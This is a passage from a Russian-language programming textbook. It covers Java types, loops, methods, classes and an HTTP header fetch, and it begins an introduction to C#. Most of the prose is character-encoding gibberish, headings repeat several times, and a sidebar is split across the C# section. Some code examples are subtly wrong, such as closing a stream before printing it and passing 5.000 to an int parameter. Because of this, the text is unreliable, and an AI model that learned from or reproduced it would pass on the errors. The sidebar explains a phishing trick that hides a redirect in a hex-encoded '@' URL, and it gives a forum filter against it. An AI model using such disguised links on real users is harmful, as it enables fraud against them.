� LongLongLongLongLong. Òèï long ñëóæèò äëÿ ïðåäñòàâëåíèÿ öåëûõ ÷èñåë, çàíèìàþùèõ

8 áàéòîâ ïàìÿòè;
� FloatFloatFloatFloatFloat. Òèïîì float ïðåäñòàâëÿþò ÷èñëà ñ ïëàâàþùåé òî÷êîé, ïîä êîòî-

ðûå îòâîäèòñÿ 4 áàéòà;
� DoubleDoubleDoubleDoubleDouble. Òèï double ñëóæèò äëÿ ïðåäñòàâëåíèÿ ÷èñåë ñ ïëàâàþùåé òî÷-

êîé äâîéíîé òî÷íîñòè. Äëÿ íèõ îòâîäèòñÿ 8 áàéòîâ;
� CharCharCharCharChar. Òèï char ñëóæèò äëÿ ïðåäñòàâëåíèÿ ñèìâîëîâ. Â ÿçûêå Java ñèìâîë

õðàíèòñÿ â êîäèðîâêå Unicode è çàíèìàåò 16 áèòîâ;
� BooleanBooleanBooleanBooleanBoolean. Òèïîì boolean ìîæíî ïðåäñòàâèòü îäíî èç äâóõ çíà÷åíèé:

true èëè false.

Â ïëàòôîðìåííî-çàâèñèìûõ ÿçûêàõ, ê êîòîðûì îòíîñèòñÿ, â ÷àñòíîñòè, C,
çà÷àñòóþ íå îïðåäåëåí òî÷íûé îáúåì ïàìÿòè, îòâîäèìîé ïîä õðàíåíèå äàí-
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íûõ ðàçíûõ òèïîâ. Íàïðîòèâ, â Java ðàçìåð è ôîðìàò âñåõ òèïîâ äàííûõ ñïå-
öèôèöèðîâàíû â ñàìîì ÿçûêå. Ïðîãðàììèñòàì íå íàäî äóìàòü î ñèñòåìíûõ
îñîáåííîñòÿõ.

Â Java èìåþòñÿ òàêæå ññûëî÷íûå òèïû. Ïåðåìåííûå òàêîãî òèïà íå ñîäåð-
æàò çíà÷åíèÿ, à óêàçûâàþò íà êàêîé-òî àäðåñ â ïàìÿòè. Ìàññèâû, îáúåêòû è
èíòåðôåéñû – âñå ýòî äàííûå ññûëî÷íûõ òèïîâ. Íà ðèñ 1.2 ïðèâåäåíà êëàñ-
ñèôèêàöèÿ òèïîâ â ÿçûêå Java.

array

Типы
с плавающей

точкой

Целочислен*
ные типы

byte
char
int
long
short

double

float

Рис. 1.2.Рис. 1.2.Рис. 1.2.Рис. 1.2.Рис. 1.2. Классификация типов данных в языке Java

Поток управления

Â ÿçûêå Java äëÿ óïðàâëåíèÿ ïîòîêîì âûïîëíåíèÿ ïðîãðàììû ïðèìåíÿþòñÿ
öèêëû. Â ïðîãðàììàõ ÷àñòî âñòðå÷àþòñÿ ó÷àñòêè, êîòîðûå íàäî ïîâòîðèòü
ëèáî çàðàíåå èçâåñòíîå ÷èñëî ðàç, ëèáî äî òåõ ïîð, ïîêà íå áóäåò âûïîëíå-
íî íåêîòîðîå óñëîâèå. Öèêëû êàê ðàç è ïðåäíàçíà÷åíû äëÿ ðåøåíèÿ ïîäîá-
íîãî ðîäà çàäà÷. Èìååòñÿ òðè îñíîâíûõ âèäà öèêëîâ: for, while è do...while.

Пример 1.11. Пример 1.11. Пример 1.11. Пример 1.11. Пример 1.11. Цикл «for»
for( íà÷àëüíîå_âûðàæåíèå; ïðîâåðÿåìîå_óñëîâèå; îïåðàöèÿ ){
[áëîê ïðåäëîæåíèé];
}

Предопре*
деленные

типы

Ссылочные
типы

Примитив*
ные типы

object

string

bool

Число*
вые типы
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Ñðåäè âñåõ öèêëîâ for èñïîëüçóåòñÿ ÷àùå âñåãî. Â íà÷àëå âûïîëíåíèÿ öèêëà
ïðîãðàììà âû÷èñëÿåò íà÷àëüíîå âûðàæåíèå è ïðîâåðÿåò ñëåäóþùåå çà íèì
óñëîâèå. Åñëè óñëîâèå èñòèííî, âûïîëíÿåòñÿ òåëî öèêëà («áëîê ïðåäëîæå-
íèé»). Â êîíöå öèêëà ïðîèçâîäèòñÿ îïåðàöèÿ, óêàçàííàÿ òðåòüåé â çàãîëîâêå,
ïîñëå ÷åãî ñíîâà ïðîâåðÿåòñÿ óñëîâèå. Öèêë ïðîäîëæàåòñÿ, ïîêà óñëîâèå íå
ñòàíåò ëîæíûì.

Îñîáåííî õîðîøî öèêë for ïîäõîäèò äëÿ âûïîëíåíèÿ èòåðàöèé. Åñëè íóæ-
íî âûïîëíèòü áëîê ïðåäëîæåíèé ïÿòü ðàç, òî ìîæíî íàïèñàòü òàêîé ïðî-
ñòîé öèêë:

for( i = 0 ; i < 5 ; i++ ){
[áëîê ïðåäëîæåíèé];
}

Пример 1.12. Пример 1.12. Пример 1.12. Пример 1.12. Пример 1.12. Цикл «while»
while( óñëîâèå ){
[áëîê ïðåäëîæåíèé];
}

Ïðè âûïîëíåíèè öèêëà while ïðîâåðÿåòñÿ óñëîâèå, ñòîÿùåå â íà÷àëå öèêëà.
Åñëè îíî èñòèííî, âûïîëíåíèå öèêëà ïðîäîëæàåòñÿ, èíà÷å ïðåêðàùàåòñÿ.
Öèêë ïîâòîðÿåòñÿ, ïîêà óñëîâèå íå ñòàíåò ëîæíûì.

Пример 1.13.Пример 1.13.Пример 1.13.Пример 1.13.Пример 1.13. Цикл «do...while»
do{
[áëîê ïðåäëîæåíèé];
} while( óñëîâèå );

Â öèêëå do...while ïðîâåðÿåìîå óñëîâèå íàõîäèòñÿ â êîíöå è ïðîâåðÿåòñÿ ïîñ-
ëå âûïîëíåíèÿ áëîêà ïðåäëîæåíèé. Åñëè îíî èñòèííî, òî áëîê ïðåäëîæåíèé
âûïîëíÿåòñÿ åùå ðàç, â ïðîòèâíîì ñëó÷àå ïðîèñõîäèò âûõîä èç öèêëà. Öèêë
do...while ïîõîæ íà öèêë while ñ îäíèì îòëè÷èåì: áëîê ïðåäëîæåíèé áóäåò âû-
ïîëíåí õîòÿ áû îäèí ðàç. Öèêëû ýòîãî âèäà âñòðå÷àþòñÿ ðåæå, ÷åì for è while.

Ñëåäóåò îòìåòèòü, ÷òî â áîëüøèíñòâå ñëó÷àåâ âñå òðè öèêëè÷åñêèõ êîíñò-
ðóêöèè ôóíêöèîíàëüíî ýêâèâàëåíòíû.

Пример 1.14.Пример 1.14.Пример 1.14.Пример 1.14.Пример 1.14. Эквивалентность циклов – выполнение пяти итераций
Öèêë for
for( i = 0 ; i < 5 ; i++ ){

áëîê_ïðåäëîæåíèé;
}

Öèêë while
int i = 0;
while( i < 5 ){

Язык Java
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áëîê_ïðåäëîæåíèé;
i++;

}

Öèêë do...while
int i = 0;
do {

áëîê_ïðåäëîæåíèé;
i++;

} while( i < 5 )

Â êàæäîì èç ýòèõ ïðèìåðîâ áëîê ïðåäëîæåíèé âûïîëíÿåòñÿ ïÿòü ðàç. Êîí-
ñòðóêöèè ðàçíûå, íî èõ ðåçóëüòàò îäèí è òîò æå. Ïîýòîìó ìû è ãîâîðèì, ÷òî
âñå âèäû öèêëîâ ôóíêöèîíàëüíî ýêâèâàëåíòíû.

Методы

Ìîæíî ñêàçàòü, ÷òî ìåòîä (â äðóãèõ ÿçûêàõ åãî àíàëîãîì ñëóæèò ôóíêöèÿ) –
ýòî ìèíèàòþðíàÿ ïðîãðàììà. Èíîãäà ïðîãðàììèñòó íóæíî ïîëó÷èòü íà âõî-
äå îïðåäåëåííûå äàííûå, ïðîèçâåñòè íàä íèìè íåêîòîðóþ îïåðàöèþ è âåð-
íóòü ðåçóëüòàò â òðåáóåìîì ôîðìàòå. Ïîíÿòèå ìåòîäà áûëî ïðèäóìàíî êàê
ðàç äëÿ òàêèõ ïîâòîðÿþùèõñÿ îïåðàöèé. Ìåòîä – ýòî àâòîíîìíàÿ ÷àñòü ïðî-
ãðàììû, êîòîðóþ ìîæíî âûçâàòü äëÿ âûïîëíåíèÿ îïåðàöèè íàä äàííûìè.
Ìåòîä ïðèíèìàåò íåêîòîðîå ÷èñëî àðãóìåíòîâ è âîçâðàùàåò çíà÷åíèå.
Íèæå ïðèâåäåí ïðèìåð ìåòîäà, êîòîðûé ïîëó÷àåò íà âõîäå öåëîå ÷èñëî è
âîçâðàùàåò åãî ôàêòîðèàë.

Пример 1.15. Пример 1.15. Пример 1.15. Пример 1.15. Пример 1.15. Метод Factorial
int Factorial( int num ){

for( i = (num – 1) ; i > 0 ; i— ){
num *= i;   /* ñîêðàùåííàÿ çàïèñü äëÿ num = num * i */

}
return num;

}

Â ïåðâîé ñòðîêå Factorial – ýòî èìÿ ìåòîäà. Åìó ïðåäøåñòâóåò êëþ÷åâîå
ñëîâî int, ãîâîðÿùåå î òîì, ÷òî ìåòîä âîçâðàùàåò öåëîå çíà÷åíèå. ×àñòü
( int num ) îçíà÷àåò, ÷òî ìåòîä ïðèíèìàåò â êà÷åñòâå àðãóìåíòà îäíî öåëîå
÷èñëî, êîòîðîå áóäåò îáîçíà÷àòüñÿ num. Ïðåäëîæåíèå return ãîâîðèò î òîì,
êàêîå èìåííî çíà÷åíèå ìåòîä âîçâðàùàåò.

Классы

Îáúåêòíî-îðèåíòèðîâàííûå ïðîãðàììû îðãàíèçîâàíû â âèäå íàáîðà êëàñ-
ñîâ. Êëàññ – ýòî äèñêðåòíàÿ åäèíèöà ïðîãðàììû, îáëàäàþùàÿ îïðåäåëåííû-
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ìè õàðàêòåðèñòèêàìè. Êëàññ ãðóïïèðóåò äàííûå è ìåòîäû íåêîòîðûõ òèïîâ.
Êëàññ ìîæåò ñîäåðæàòü êîíñòðóêòîðû, êîòîðûå îïðåäåëÿþò, êàê ñîçäàåòñÿ
ýêçåìïëÿð êëàññà èëè îáúåêò. Â êëàññ âêëþ÷àþòñÿ ìåòîäû, âûïîëíÿþùèå
îïåðàöèè íàä ýêçåìïëÿðàìè ýòîãî êëàññà.

Ïðåäïîëîæèì, ê ïðèìåðó, ÷òî ïðîãðàììèñò ðàáîòàåò íàä ñèìóëÿòîðîì
ïîëåòîâ äëÿ êîìïàíèè, ïðîèçâîäèòåëÿ ñàìîëåòîâ. Ðåçóëüòàòû ýòîé ðàáîòû
ïîìîãóò êîìïàíèè ïðèíÿòü âàæíûå ïðîåêòíûå ðåøåíèÿ. Â òàêîé ñèòóàöèè
îáúåêòíî-îðèåíòèðîâàííîå ïðîãðàììèðîâàíèå – èäåàëüíûé èíñòðóìåíò.
Ìîæíî ñîçäàòü êëàññ plane, èíêàïñóëèðóþùèé âñå õàðàêòåðèñòèêè ñàìîëåòà
è ìåòîäû äëÿ ìîäåëèðîâàíèÿ åãî ïåðåìåùåíèé. Ìîæíî òàêæå ñîçäàòü íå-
ñêîëüêî îáúåêòîâ êëàññà plane, êàæäûé èç êîòîðûõ áóäåò ñîäåðæàòü ñâîè ñîá-
ñòâåííûå äàííûå.

Êëàññ ìîæåò ñîäåðæàòü íåñêîëüêî ïåðåìåííûõ, ê ïðèìåðó:

� Weight (âåñ);
� Speed (ñêîðîñòü);
� Maneuverabil ity (ìàíåâðåííîñòü);
� Position (ïîëîæåíèå).

Ñ åãî ïîìîùüþ ïðîãðàììèñò ìîæåò ñìîäåëèðîâàòü ïîëåò ñàìîëåòà ïðè çà-
äàííûõ óñëîâèÿõ. Äëÿ ìîäèôèêàöèè õàðàêòåðèñòèê îáúåêòà ìîæíî íàïèñàòü
íåñêîëüêî ìåòîäîâ äîñòóïà:

SetWeight( int )
SetSpeed( int )
SetManeuverability( int )
SetPosition( int )
MovePosition( int )

Êîä òàêîãî êëàññà plane ìîã áû âûãëÿäåòü ñëåäóþùèì îáðàçîì:

Пример 1.16.Пример 1.16.Пример 1.16.Пример 1.16.Пример 1.16. Класс plane
 1 public class plane{
 2 int Weight;
 3 int Speed;
 4 int Maneuverability;
 5 Location Position; /* òèï Location äîëæåí áûòü ãäå-òî îïðåäåëåí
 6         è ïðåäñòàâëÿòü ïðîñòðàíñòâåííûå êîîðäèíàòû (x,y,z) */
 7 plane( int W, int S, int M, Location P ){
 8 Weight = W;
 9 Speed = S;
10 Maneuverability = M;
11 Position = P;
12 }
13
14 SetWeight( plane current, int W ){

Язык Java
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15 ñurrent.Weight = W;
16 }
17
18 /* Ìåòîäû SetSpeed, SetManeuverability, SetPosition,
   MovePosition òîæå äîëæíû áûòü îïðåäåëåíû */

19 }

Ýòîò êîä ñëóæèò äëÿ èíèöèàëèçàöèè îáúåêòà êëàññà plane. Ïðè âûçîâå ìå-
òîäà plane çàäàþòñÿ âñå õàðàêòåðèñòèêè, êîòîðûìè äîëæåí îáëàäàòü ñàìî-
ëåò: âåñ, ñêîðîñòü, ìàíåâðåííîñòü è ïîëîæåíèå. Íà ïðèìåðå ìåòîäà SetWeight
ïîêàçàíî, êàê ìîæíî âêëþ÷èòü â êëàññ îïåðàöèþ íàä îïèñûâàåìûì èì
îáúåêòîì.

Ñèìóëÿòîð ìîæåò ñîçäàòü íåñêîëüêî ýêçåìïëÿðîâ êëàññà plane è âûïîëíèòü
«ïðîáíûå ïîëåòû» äëÿ îöåíêè âëèÿíèÿ ðàçëè÷íûõ õàðàêòåðèñòèê. Íàïðèìåð,
ñàìîëåò plane1 ìîæåò âåñèòü 5000 ôóíòîâ, ëåòàòü ñî ñêîðîñòüþ 500 ìèëü/÷àñ
è îáëàäàòü ìàíåâðåííîñòüþ 10, òîãäà êàê äëÿ ñàìîëåòà plane2 ìîæíî çàäàòü
ñëåäóþùèå ïàðàìåòðû: âåñ 6000 ôóíòîâ, ñêîðîñòü 600 ìèëü/÷àñ, ìàíåâðåí-
íîñòü 8. Â ÿçûêå Java ýêçåìïëÿðû êëàññà ñîçäàþòñÿ ñ ïîìîùüþ êëþ÷åâîãî
ñëîâà new. Ñêàæåì, îáúåêò plane1 ìîæíî ñîçäàòü ñ ïîìîùüþ òàêèõ ïðåäëî-
æåíèé:

plane plane1;
Location p;
p = new Location( 3, 4, 5 );
plane1 = new plane(5.000, 500, 10, p );

Íàñëåäîâàíèå ïîçâîëÿåò ïðîãðàììèñòàì ñîçäàâàòü èåðàðõèè êëàññîâ.
Êëàññû îðãàíèçóþòñÿ â äðåâîâèäíûå ñòðóêòóðû, â êîòîðûõ ó êàæäîãî êëàññà
åñòü «ðîäèòåëè» è, âîçìîæíî, «ïîòîìêè». Êëàññ «íàñëåäóåò», òî åñòü ìîæåò
ïîëüçîâàòüñÿ ôóíêöèÿìè ëþáîãî èç ñâîèõ ðîäèòåëåé, íàçûâàåìûõ òàêæå åãî
ñóïåðêëàññàìè. Íàïðèìåð, åñëè êëàññ plane ÿâëÿåòñÿ ïîäêëàññîì êëàññà vehicle,
òî îáúåêò êëàññà plane èìååò äîñòóï êî âñåì ìåòîäàì, êîòîðûå ìîæíî âû-
ïîëíÿòü íàä îáúåêòîì êëàññà vehicle.

Ó êëàññîâ åñòü ìíîãî ïðåèìóùåñòâ, íåäîñòàþùèõ äðóãèì èìåþùèìñÿ
â ÿçûêå òèïàì. Îíè ïðåäîñòàâëÿþò ýôôåêòèâíîå ñðåäñòâî äëÿ îðãàíèçà-
öèè ïðîãðàììû â âèäå íàáîðà ìîäóëåé, êîòîðûì ìîæíî íàñëåäîâàòü. Ìîæ-
íî òàêæå ñîçäàâàòü àáñòðàêòíûå êëàññû, âûñòóïàþùèå â ðîëè èíòåðôåé-
ñîâ. Èíòåðôåéñ îïðåäåëÿåò, íî íå ðåàëèçóåò íåêîòîðóþ ôóíêöèîíàëüíîñòü,
îñòàâëÿÿ ýòó çàäà÷ó ñâîèì ïîäêëàññàì. Äàííûå êëàññà ìîæíî îáúÿâëÿòü
çàêðûòûìè, ãàðàíòèðóÿ òåì ñàìûì, ÷òî äîñòóï ê âíóòðåííåìó ñîñòîÿíèþ
êëàññà âîçìîæåí ëèøü ñ ïîìîùüþ ñïåöèàëüíî ïðåäóñìîòðåííûõ äëÿ ýòîãî
ìåòîäîâ.
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Получение заголовков HTTP

Ïðè íàïèñàíèè ïðîãðàìì äëÿ ðàáîòû ñ ñåòüþ è îáåñïå÷åíèÿ áåçîïàñíîñòè íå
çàáûâàéòå î ñðåäñòâàõ, óæå èìåþùèõñÿ â òîì èëè èíîì ÿçûêå. Â ïðèìåðå
1.17 ïðèâåäåíà ïðîãðàììà, êîòîðàÿ ïîëó÷àåò çàãîëîâêè, ïðèñëàííûå â îòâåòå
íà çàïðîñ ïî ïðîòîêîëó HTTP (Hypertext Transfer Protocol) ê çàäàííîìó URL.

Пример 1.17.Пример 1.17.Пример 1.17.Пример 1.17.Пример 1.17. Получение заголовков HTTP
 1 import java.net.URL;

 2 import java.net.URLConnection;

 3 import java.io.*;

 4 import java.util.*;

 5
 6 public class HTTPGET{

 7 public static void main (String [] Args){

 8 try{

 9 FileWriter file = new FileWriter( "OutFile" );

10 PrintWriter OutputFile = new PrintWriter( file );

11
12 URL url = new URL( "http://www.google.com" );

13 URLConnection urlConnection = url.openConnection();

14 InputStream IS = urlConnection.getInputStream();

15
16 IS.close();

17 OutputFile.print( IS );

18 } catch (Exception e) { System.out.println("Error"); }

19 }

20 }

Ýòà ïðîãðàììà äåìîíñòðèðóåò, êàê íà ÿçûêå Java ìîæíî îòïðàâèòü HTTP-
çàïðîñ òèïà GET è âûâåñòè ïîëó÷åííûé ðåçóëüòàò â ôàéë. Òî è äðóãîå ÷àñòî
áûâàåò íóæíî ïðè ðåàëèçàöèè ñåòåâûõ èíñòðóìåíòîâ. Ïîñðåäñòâîì ñòðîê
1–4 èìïîðòèðóþòñÿ áèáëèîòåêè, íåîáõîäèìûå äëÿ óñòàíîâëåíèÿ ñîåäèíåíèÿ
ñ çàäàííûì URL è äëÿ ââîäà/âûâîäà. Â ñòðîêàõ 9 è 10 èíèöèàëèçèðóåòñÿ îáúåêò
êëàññà FileWriter è çàäàåòñÿ âûõîäíîé ôàéë äëÿ íåãî, çàòåì ñîçäàåòñÿ îáúåêò
PrintWriter, êîòîðûé áóäåò îñóùåñòâëÿòü âûâîä â ýòîò ôàéë (ñòðîêà 17).

Äëÿ ñîçäàíèÿ ñîåäèíåíèÿ ñ ïîìîùüþ êëàññà java.net.URLConnection íóæíî
âûïîëíèòü íåñêîëüêî øàãîâ. Ñíà÷àëà ìåòîäîì openConnection() ñîçäàåòñÿ
îáúåêò, ïðåäñòàâëÿþùèé ñîåäèíåíèå. Äàëåå äëÿ íåãî ìîãóò áûòü çàäàíû ðàç-
ëè÷íûå ïàðàìåòðû, ïîñëå ÷åãî ñîåäèíåíèå îòêðûâàåòñÿ ìåòîäîì connect().
Ïîñëå òîãî êàê ñîåäèíåíèå óñòàíîâëåíî, äàííûå èç íåãî ñ÷èòûâàþòñÿ â îáúåêò
IS êëàññà InputStream. Â ñòðîêå 16 ïîòîê çàêðûâàåòñÿ, è â ñòðîêå 17 åãî ñîäåð-
æèìîå âûâîäèòñÿ â ôàéë.

Åñëè â ïðîöåññå âûïîëíåíèÿ âîçìîæíî âîçíèêíîâåíèå èñêëþ÷åíèé, â Java
ïðèìåíÿþòñÿ îïåðàòîðíûå ñêîáêè try è catch (ñòðîêè 8 è 18), â êîòîðûõ çàêëþ-
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÷åí ïîòåíöèàëüíî îïàñíûé êîä. Â ñòðîêå catch óêàçûâàåòñÿ òèï è èìÿ îæèäà-
åìîãî èñêëþ÷åíèÿ, à çàòåì äåéñòâèÿ, êîòîðûå ñëåäóåò ïðåäïðèíÿòü ïðè åãî
âîçíèêíîâåíèè.

Äëÿ ðàáîòû íà óðîâíå ñîêåòîâ â Java èìåþòñÿ äîïîëíèòåëüíûå êëàññû, íà-
ïðèìåð:

java.net.socket
java.net.serversocket
java.net.datagramsocket
java.net.multicastsocket

Çàìåòèì, âïðî÷åì, ÷òî íè îäèí èç íèõ íå äàåò äîñòóïà ê ïðîñòûì (raw)
ñîêåòàì. Åñëè ýòî íåîáõîäèìî, ïðèäåòñÿ îáðàòèòüñÿ ê ÿçûêàì C, C++ èëè C#.

Примечание

Посетителей Web�сайтов часто обманом вынуждают сообщить пре�
ступникам секретные данные, например, номер кредитной карты
или социального страхования. Хакер может провести такую атаку,
скопировав внешний облик чужого сайта на своем сервере, так что
посетитель по ошибке примет его за настоящий сайт. Один из про�
стейших способов реализовать эту уловку заключается в том, чтобы
разместить на публичном форуме ссылку, которая на первый взгляд
выглядит вполне обычно, но ведет совершенно не туда, куда кажется
на первый взгляд. Например, добропорядочный пользователь при�
глашает посетителей форума прочитать новость по такому адресу:
http://www.google.com/?news=story1.html
Хакер же может разместить похожую ссылку, которая переадресует
посетителя совсем в другое место:
http://www.google.com�
story=%40%77%77%77%2E%79%61%68%6F%6F%2E%63%6F%6D
Можете ли вы сказать, куда попадете, щелкнув по такой ссылке?
Оказывается, на http://www.yahoo.com. Переадресация обеспечива�
ется символами, указанными в конце URL. Эти символы представле�
ны в 16�ричной кодировке и соответствуют строке
@www.yahoo.com
Обман основан на ранней схеме аутентификации через Web, когда
пользователь получал доступ к сайту, задав URL в формате http://
user@site. В этом случае Web�браузер пытался обратиться к сайту,
указанному после символа @. Чтобы быстро создать зловредные
ссылки в указанном формате, хакеру достаточно воспользоваться
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Язык C#
Â äåêàáðå 2001 ãîäà êîìïàíèÿ Microsoft âûïóñòèëà â îáðàùåíèå ÿçûê C#. Îí
ñïðîåêòèðîâàí Àíäåðñîì Õåéëüñáåðãîì (Anders Hejlsberg) è ïðåäíàçíà÷åí
ïðåæäå âñåãî äëÿ íàïèñàíèÿ êîìïîíåíòîâ Web-ñåðâèñîâ íà ïëàòôîðìå .NET.
Çà ïðåäøåñòâóþùåå äåñÿòèëåòèå ÿçûê Java ïðèîáðåë øèðîêóþ ïîïóëÿðíîñòü
áëàãîäàðÿ ñâîåé ïåðåíîñèìîñòè, ïðîñòîòå è ìîùíîé áèáëèîòåêå êëàññîâ.
Õîòÿ î ïðè÷èíàõ, ïî êîòîðûì Microsoft ðåøèëà çàíÿòüñÿ ðàçðàáîòêîé C#, âå-
äóòñÿ îæåñòî÷åííûå ñïîðû, ìîæíî ñ÷èòàòü ýòî îòâåòîì íà ïîïóëÿðíîñòü
Java. Îæèäàåòñÿ ÷òî ïî ìåðå ðàñïðîñòðàíåíèÿ ïëàòôîðìû .NET Framework
ìíîãèå ïðîãðàììèñòû, ðàáîòàþùèå íà C++ è Visual Basic, ïåðåéäóò íà C#.

Õîòÿ ÿçûê C# è ðàçðàáîòàí êîìïàíèåé Microsoft, îí íå ÿâëÿåòñÿ åå ñîá-
ñòâåííîñòüþ. Çà ñòàíäàðòèçàöèþ C# îòâå÷àåò Åâðîïåéñêàÿ àññîöèàöèÿ èçãî-
òîâèòåëåé êîìïüþòåðîâ (European Computer Manufacturers Association). Ýòîò
ôàêò â êàêîé-òî ìåðå ñíèìàåò îïàñåíèÿ, ÷òî Microsoft ìîæåò ââåñòè îãðàíè-
÷åíèÿ íà èñïîëüçîâàíèå ÿçûêà â ÷óæèõ ïðîäóêòàõ.

Основания для перехода на C#

Åñëè âåðèòü çàÿâëåíèÿì Microsoft, .NET ñòàíåò ïëàòôîðìîé äëÿ ðàçðàáîòêè
Web-ñåðâèñîâ, íà êîòîðîé ñìîãóò âçàèìîäåéñòâîâàòü êîìïîíåíòû, íàïèñàí-
íûå íà ðàçíûõ ÿçûêàõ. Õîòÿ .NET ïîääåðæèâàåò ìíîãî ÿçûêîâ, íî îñíîâíûì

любым инструментом для перекодировки из кода ASCII в 16�ричную
форму (такая программа есть, скажем, на сайте http://d21c.com//
sookietex/ASCII2HEX.html).

Как предотвратить

Защититься от такой атаки на вашем форуме несложно. Напишите
фильтрующий сценарий, который проверяет, что в любой опублико�
ванной пользователем ссылке после имени домена имеется символ
«/». Тогда приведенная выше ссылка после фильтрации приобретет
такой вид:
http://www.google.com/�
story=%40%77%77%77%2E%79%61%68%6F%6F%2E%63%6F%6D
Теперь попытка перейти по этой ссылке приведет к ошибке, так что
атака не состоялась. Отметим, что некоторые современные браузе�
ры уже содержат защиту от подобной уловки. К примеру, Firefox пре�
дупреждает пользователя об опасности.
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äëÿ íåå ÿâëÿåòñÿ C#. Ðàçðàáîò÷èêè, ïðèâûêøèå ïðîãðàììèðîâàòü â ñðåäå Vi-
sual Studio, îáíàðóæàò, ÷òî ïåðåõîä îò Visual C++ ê Visual C#.NET íåñëîæåí.

C# ñòàíåò ÿçûêîì ïî óìîë÷àíèþ äëÿ ðàçðàáîòêè ïðîãðàìì äëÿ Windows.
Äà, àðõèòåêòóðíî-íåéòðàëüíûé ÿçûê Java ìîæåò ðàáîòàòü òàêæå è â Windows,
íî â C# âñòðîåíû ìíîãèå âîçìîæíîñòè, ñïåöèôè÷íûå èìåííî äëÿ ýòîé ÎÑ.
Íàïðèìåð, ñ ïîìîùüþ C# ëåãêî îáðàùàòüñÿ ê òàêèì îñîáåííîñòÿì Windows,
êàê ãðàôè÷åñêèé èíòåðôåéñ ïîëüçîâàòåëÿ è ñåòåâûå ñëóæáû. Ïðîãðàììû,
íàïèñàííûå íà C++, ñðàâíèòåëüíî ëåãêî ïåðåíîñÿòñÿ íà C#, òîãäà êàê ïåðå-
ïèñûâàíèå èõ íà Java òðåáóåò çíà÷èòåëüíûõ óñèëèé.

Ïðè ðàçðàáîòêå Web-ñåðâèñîâ âûáîð ñîâðåìåííîãî ÿçûêà îñîáåííî âà-
æåí. Java è C# îáåñïå÷èâàþò íåçàâèñèìîñòü îò ïëàòôîðìû, ïðåäîñòàâëÿþò
âñå ïðåèìóùåñòâà îáúåêòíî-îðèåíòèðîâàííîãî ïðîãðàììèðîâàíèÿ è ñîêðà-
ùàþò âðåìÿ ðàçðàáîòêè çà ñ÷åò òàêèõ ìåõàíèçìîâ êàê àâòîìàòè÷åñêîå óïðàâ-
ëåíèå ïàìÿòüþ. Êðîìå òîãî, C# ëåãêî îñâàèâàåòñÿ ïðîãðàììèñòàìè, ÷òî
óìåíüøàåò ðàñõîäû íà îáó÷åíèå. Áëàãîäàðÿ íàëè÷èþ ìíîãèõ äîñòîèíñòâ è
ëèøü íåìíîãèõ íåäîñòàòêîâ, áîëüøîå ÷èñëî êîìïàíèé ñ÷èòàþò C# ýêîíîìè-
÷åñêè îïðàâäàííûì âûáîðîì.

Характеристики языка

C# – ýòî ñîâðåìåííûé ïëàòôîðìåííî-íåçàâèñèìûé (ïî êðàéíåé ìåðå, òåîðå-
òè÷åñêè) îáúåêòíî-îðèåíòèðîâàííûé ÿçûê ïðîãðàììèðîâàíèÿ. Íîâåéøèå
âîçìîæíîñòè ñî÷åòàþòñÿ â íåì ñ ñèíòàêñèñîì, ïîõîæèì íà C/C++, ïîýòîìó
îïûòíûì ïðîãðàììèñòàì äîñòàòî÷íî ïðîñòî âûó÷èòü íîâûé ÿçûê. C# îòëè-
÷àåòñÿ îò Java, â ÷àñòíîñòè, òåì, ÷òî íàëàãàåò ìåíüøå îãðàíè÷åíèé è â ýòîì
îòíîøåíèè áîëüøå íàïîìèíàåò C++. Êàê è C++, C# ïîääåðæèâàåò ïðÿìóþ
êîìïèëÿöèþ â ìàøèííûé êîä, èìååò ïðåïðîöåññîð è ñòðóêòóðû.

Îáúåêòíî-îðèåíòèðîâàííûå âîçìîæíîñòèÎáúåêòíî-îðèåíòèðîâàííûå âîçìîæíîñòèÎáúåêòíî-îðèåíòèðîâàííûå âîçìîæíîñòèÎáúåêòíî-îðèåíòèðîâàííûå âîçìîæíîñòèÎáúåêòíî-îðèåíòèðîâàííûå âîçìîæíîñòè
C# – îáúåêòíî-îðèåíòèðîâàííûé ÿçûê ïðîãðàììèðîâàíèÿ, ÷òî îçíà÷àåò íà-
ëè÷èå ñëåäóþùèõ äîñòîèíñòâ:

� ÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿÈíêàïñóëÿöèÿ. Çà ñ÷åò èñïîëüçîâàíèÿ êëàññîâ îáúåêòíî-îðèåíòèðî-
âàííûé êîä èìååò î÷åíü õîðîøóþ îðãàíèçàöèþ è îáëàäàåò âûñîêîé
ìîäóëüíîñòüþ. Äàííûå è ìåòîäû äëÿ âûïîëíåíèÿ îïåðàöèé íàä íèìè
èíêàïñóëèðîâàíû â ñòðóêòóðó êëàññà;

� ÍàñëåäîâàíèåÍàñëåäîâàíèåÍàñëåäîâàíèåÍàñëåäîâàíèåÍàñëåäîâàíèå. Îáúåêòíî-îðèåíòèðîâàííàÿ îðãàíèçàöèÿ è èíêàïñóëÿ-
öèÿ ïîçâîëÿþò áåç òðóäà ðåàëèçîâàòü ïîâòîðíîå èñïîëüçîâàíèå èëè
«íàñëåäîâàíèå» ðàíåå íàïèñàííîãî êîäà. Íàñëåäîâàíèå ýêîíîìèò âðå-
ìÿ, òàê êàê ïðîãðàììèñòó íå íóæíî çàíîâî êîäèðîâàòü óæå èìåþùóþ-
ñÿ ôóíêöèîíàëüíîñòü;
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� Ñîêðûòèå äàííûõÑîêðûòèå äàííûõÑîêðûòèå äàííûõÑîêðûòèå äàííûõÑîêðûòèå äàííûõ. Îáúåêòû, òî åñòü ýêçåìïëÿðû êëàññà ìîãóò ñîäåð-
æàòü äàííûå, êîòîðûå íå ìîãóò áûòü èçìåíåíû èíà÷å êàê ñ ïîìîùüþ
ìåòîäîâ ñàìîãî ýòîãî êëàññà. Ïðîãðàììèñò ìîæåò ñêðûòü äàííûå, íà-
çíà÷èâ èì àòðèáóò «private» (çàêðûòûé);

� Àáñòðàêòíûå òèïû äàííûõÀáñòðàêòíûå òèïû äàííûõÀáñòðàêòíûå òèïû äàííûõÀáñòðàêòíûå òèïû äàííûõÀáñòðàêòíûå òèïû äàííûõ. Ïðîãðàììèñò ìîæåò îïðåäåëèòü êëàññ,
êîòîðûé ìîæíî ïðåäñòàâëÿòü ñåáå êàê îáîáùåíèå ñòðóêòóðû (struct),
èìåþùåéñÿ â ÿçûêå C. Êëàññ îïèñûâàåò îïðåäåëåííûé ïðîãðàììèñòîì
òèï äàííûõ âìåñòå ñ îïåðàöèÿìè, ïðèìåíèìûìè ê îáúåêòàì ýòîãî òèïà.

